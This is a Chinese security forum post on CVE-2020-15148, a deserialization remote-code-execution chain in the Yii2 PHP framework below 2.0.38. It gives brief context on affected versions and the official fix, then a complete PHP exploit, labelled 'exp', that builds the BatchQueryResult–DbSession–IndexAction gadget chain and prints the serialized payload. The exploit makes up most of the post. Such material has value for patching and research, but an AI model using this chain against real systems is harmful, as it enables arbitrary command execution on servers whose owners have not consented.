# \\Yii框架反序列化RCE利用链 CVE-2020-15148 exp

**URL:** <https://forum.90sec.com/t/topic/1810>\
**Category:** 宽字节安全\
**Created:** [2021 年8 月 2 日 03:26 UTC](https://forum.90sec.com/t/topic/1810 "2021-08-02T03:26:04Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![unicodeSec](https://forum.90sec.com/user_avatar/forum.90sec.com/unicodesec/32/6830_2.png) [@unicodeSec](https://forum.90sec.com/u/unicodeSec)\
发布日期： [2021 年8 月 2 日 03:26 UTC](https://forum.90sec.com/t/topic/1810/1 "2021-08-02T03:26:04Z")

</div>

## 简介

如果在使用yii框架，并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下，会受到反序列化远程命令命令执行漏洞攻击。

该漏洞只是php 反序列化的执行链，必须要配合`unserialize`函数才可以达到任意代码执行的危害。

该反序列化执行链在今年8月初已经公开，建议使用yii框架的同学排查

## 影响范围

Yii2 \<2.0.38

## 修复方案
 ![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20200918231118.png)

目前官方已经禁止`BatchQueryResult`类被反序列化

## exp

```
<?phpnamespace yii\rest {    class Action extends \yii\base\Action    {        public $checkAccess;    }    class IndexAction extends Action    {        public function __construct($func, $param)        {            $this->checkAccess = $func;            $this->id = $param;        }    }}namespace yii\web {    abstract class MultiFieldSession    {        public $writeCallback;    }    class DbSession extends MultiFieldSession    {        public function __construct($func, $param)        {            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];        }    }}namespace yii\base {    class BaseObject    {        //    }    class Action    {        public $id;    }}namespace yii\db {    use yii\base\BaseObject;    class BatchQueryResult extends BaseObject    {        private $_dataReader;        public function __construct($func, $param)        {            $this->_dataReader = new \yii\web\DbSession($func, $param);        }    }}$exp = new \yii\db\BatchQueryResult($func, $param);print(serialize($exp));
```

## 参考

1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
2. https://xz.aliyun.com/t/8082#toc-8
3. https://github.com/AFKL-CUIT/phpggc/